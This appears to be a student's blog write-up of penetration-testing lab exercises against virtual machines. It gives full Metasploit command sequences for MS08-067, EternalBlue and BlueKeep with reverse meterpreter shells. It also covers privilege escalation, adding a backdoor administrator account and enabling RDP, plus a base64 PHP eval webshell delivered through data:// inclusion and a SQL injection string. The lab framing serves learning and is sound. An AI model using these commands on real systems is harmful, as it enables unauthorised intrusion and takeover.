渗透测试综合实训合集

终于要学到点真东西了吗-主要是漏洞利用

Posted by hangyangjun on September 6, 2025

目标一

使用 Kali 对 WinXP 系统的 SMB服务 MS08-067漏洞 进行利用,最终进入系统桌面进行截图

MS08-067:通过SMB服务的445端口触发NetpwPathCanonicalize函数的路径规范化缺陷导致栈缓冲区溢出,影响Windows 2000/XP/Server 2003等系统版本

虽然什么也没讲,让直接进行实操,但是我还是很有自信的

并非一帆风顺的探索阶段

参考资料,使用Metasploit工具进行漏洞利用
Metasploit 是一个开源的渗透测试框架
过程可以概括为:

  • 困难一:Kali系统镜像下载巨慢,不过教室的机器上有,而且密码相同
  • 困难二:教室的机器太慢了,无法使用。还好带了自己的电脑,有纯净的Kali,再下载软件就是了
  • 困难三:下载失败,原因找了一会,竟然是:签名验证失败,通过网上的教程:更新时显示签名无效和没有数字签名修好了。
  • 困难四:由于教室插座不足,电脑没电了,只能使用教室机了(此时已经加载好)
  • 困难五;无法找到目标机的IP,我猜目标机通过DHCP获取地址,且开放445端口,所以尝试找教室机的IP
  • 困难六:对教室机网段全部IP进行测试均无结果,考虑到可能是虚拟机网络连接模式的问题
  • 困难七:测试全部三种模式均不行,转用我的电脑进行测试(充上电了)
  • 困难八:虽然是冲上电了,但是用dp口冲的,所以还是很卡
  • 困难九:依然无法连接,使用两种端口扫描测试,结果均无开放端口,此时有点陷入自我怀疑,445怎么会没开放呢?
  • 困难十:多次重启,发现目标机的VMware控制台视图没有IP地址(虽然这是正常的,因为没登陆),关闭目标机后,扫描结果甚至没变化,可能这网始终就没连上?

解决问题就在灵光一现之间

再次仔细研究资料,发现资料中命令的IP地址很可疑,难道说目标机的IP地址是固定的那我之前扫描到的是谁呢?

更改虚拟机的虚拟网络编辑器此处不再赘述
设置好网段,经过两次测试,最终确定目标机的IP地址就是 192.168.118.201

此时,困扰我一天的问题终于解决了,又是这样简单的问题。
终于可以进行下一步

过程及命令

扫描

仅发现主机,不扫描端口(快速)
nmap -sn 192.168.118.0/24

快速扫描并显示操作系统信息(需要root权限)
sudo nmap -O -F 192.168.118.0/24

探测 SMB 服务版本,判断是否存在已知漏洞:
nmap -p 139,445 -sV --script smb-vuln* 192.168.118.201

安装及攻击

安装(参考教程 记得更新apt):
apt install metasploit-framework

启动(出来的字符画还挺好看)
msfconsole

搜索相关模块
search ms08-067

设置 ms08_067_netapi 攻击模块
use exploit/windows/smb/ms08_067_netapi

设置payload(反向连接载荷,让目标主动连接攻击者)
set payload windows/meterpreter/reverse_tcp

查看选项
options

设置要攻击的IP
set RHOSTS 192.168.118.201

设置接收端IP(本机)
set LHOST 192.168.118.100

设置接收端通信端口
set LPORT 4444

查看可以攻击的靶机操作系统型号
show targets

选择windows xp sp3 简体中文
set targets 34

实施攻击,得到shell
exploit

提权和连接

查看当前权限:
在meterpreter >提示符下输入:
getuid 普通用户是:BUILTIN\Users
如果已取得 NT AUTHORITY\SYSTEM 权限,则跳过提权

使用 Metasploit 的提权模块

1
2
3
4
5
6
7
8
9
10
# 加载提权模块
background  # 将当前会话后台挂起(返回msfconsole)
use post/windows/escalate/getsystem
set SESSION 1  # 替换为你的会话ID(这里是1)
run

# 若成功,会显示[+] Got SYSTEM via ...,此时重新进入会话:
sessions 1  # 回到meterpreter会话
getuid      # 确认已获得NT AUTHORITY\SYSTEM权限

开启目标主机的 RDP 服务

自动开启RDP服务并添加防火墙规则
run post/windows/manage/enable_rdp

手动验证 RDP 端口
nmap -p 3389 192.168.118.201

如果目标主机没有可用的登录用户,可创建
进入目标系统的CMD shell
shell

在 CMD shell 中输入:

chcp 65001     # 如果中文乱码
net user haoyangjun 123 /add  # 创建用户haoyangjun,密码123
net localgroup administrators haoyangjun /add  # 将用户添加到管理员组

如果shell总是断开或者添加失败
直接在 Meterpreter 中执行命令(无需进入 shell)

  • 创建用户:execute -f "net.exe" -a "user haoyangjun 123 /add" -i -t
  • 添加到管理组:execute -f "net.exe" -a "localgroup administrators haoyangjun /add" -i -t
  • 验证存在:execute -f "net.exe" -a "user haoyangjun" -i -t

可以输入exit并按回车,回到 meterpreter >提示符

单开一个终端,使用 RDP 客户端连接目标主机
rdesktop 192.168.118.201

熟悉的xp界面,输入账号密码即可进入桌面
然后就是想做啥就做啥喽。

</br> </br>

目标二

使用 Kali 对 WinSev2008R2 系统的 SMB服务 MS17-010漏洞 进行利用,最终进入系统桌面进行截图

MS17-010 就是大名鼎鼎的永恒之蓝漏洞,导致WannaCry勒索病毒通过445端口进行广泛传播

有了昨天的经验,这次测试变得非常简单

过程

启动

msfconsole

扫描端口

使用msf辅助模块中的扫描模块,通过search scanner可以查看大量的扫描模块,通过search portscan命令查看端口扫描器列表,输入use+模块名或use+序号 即可使用模块

use auziliary/scanner/portscan/syn

查看设置选项
options

设置被扫描机IP地址
set RHOSTS 192.168.118.202

设置扫描端口范围
set ports 0-500

启动模块进行扫描
run

扫描的结果显示目标记器0-500的端口内开了135,139,445端口,而永恒之蓝利用的就是445端口smb服务

搜索相关漏洞利用/验证模块
search ms17-010

探测主机是否存在MS17-010漏洞
use auxiliary/scanner/smb/smb_ms17_010

设置目标主机IP并启动探测
set RHOSTS 192.168.118.202
run

返回下面数据证明存在MS17_010漏洞

1
Host is likely VULNERABLE to MS17-010! - Windows 7 Enterprise 7601 Service Pack 1 x64 (64-bit)

攻击

设置攻击模块
use exploit/windows/smb/ms17_010_eternalblue

设置payload
set payload windows/x64/meterpreter/reverse_tcp

1
2
3
4
set lhost 192.168.118.202         # 设置接收shell的IP(本机IP)                          
set rhosts 192.168.118.100        # 设置要攻击IP
set lport 6666                    # 设置要接收shell的端口
run                              # 运行

得到shell之后的操作同目标一

</br> </br>

目标三

使用 Kali 对 Win7 系统的 MS-RDP服务 CVE-2019-0708漏洞 进行利用,最终进入系统桌面进行截图

注意:此实验容易导致靶机蓝屏,遇到蓝屏需重启靶机。

过程

1
2
3
4
5
6
7
msfconsole                                  # 启动MetaSploit
search 0708                                 # 查找模块
use auxiliary/scanner/rdp/cve_2019_0708_bluekeep
# 使用scanner模块探测主机是否存在cve_2019_0708漏洞
options                                     # 查看设置选项
set RHOSTS 192.168.118.203                  # 设置目标主机IP或网段
exploit                                     # 启动探测

扫描结果返回如:The targe is vulnerable… 证明存在CVE-2019-0708漏洞

1
2
3
4
5
6
7
# 使用exploit模块进行攻击

use exploit/windows/rdp/cve_2019_0708_bluekeep_rce    # 设置ms17_010_EternalBlue攻击模块
options                                               # 查看需要设置的选项
set rhosts 192.168.118.203                            # 设置要攻击IP
set lhost 192.168.118.100
exploit/run                                           # 运行

需要多次尝试,或者将targets设置为5或者2后再次进行攻击
遇到蓝屏请重启Windows虚拟机。
成功反弹shell后的步骤同目标一

目标四

对运行在Linux上的web系统进行漏洞利用

安装蚁剑 AntSword

使用 php://filter 伪协议
直接读取 flag.php 的源码(绕过 PHP 执行,以 base64 编码显示内容):
php://filter/read=convert.base64-encode/resource=flag.php

原理:php://filter 可以对文件内容进行过滤处理,convert.base64-encode 会将 flag.php 的内容编码为 base64,避免被 PHP 解析执行,从而直接获取源码。 操作:提交后,服务器会返回一串 base64 编码字符串,将其解码即可得到flag.php的内容

1
2
3
4
5
<?php
    header('Content-Type: text/html; charset=utf-8');
    echo "Flag 可不会给你看哦!";
    $flag = "CTF{example_flag_12345}";
?>

在远程文件包含(RFI)漏洞实验中,利用 PHP 伪协议上传木马的核心思路是通过伪协议构造可执行的 PHP 代码

原理:data:// 协议可以直接传递数据
将 PHP 代码<?php @eval($_POST['cmd']);?>进行 base64 编码后传输
data://text/plain;base64,PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=

用蚁剑工具连接,地址就是当前漏洞页面的 URL,密码是 cmd

sql注入,详情见:实训记录-周一
admin ' or '1' = '1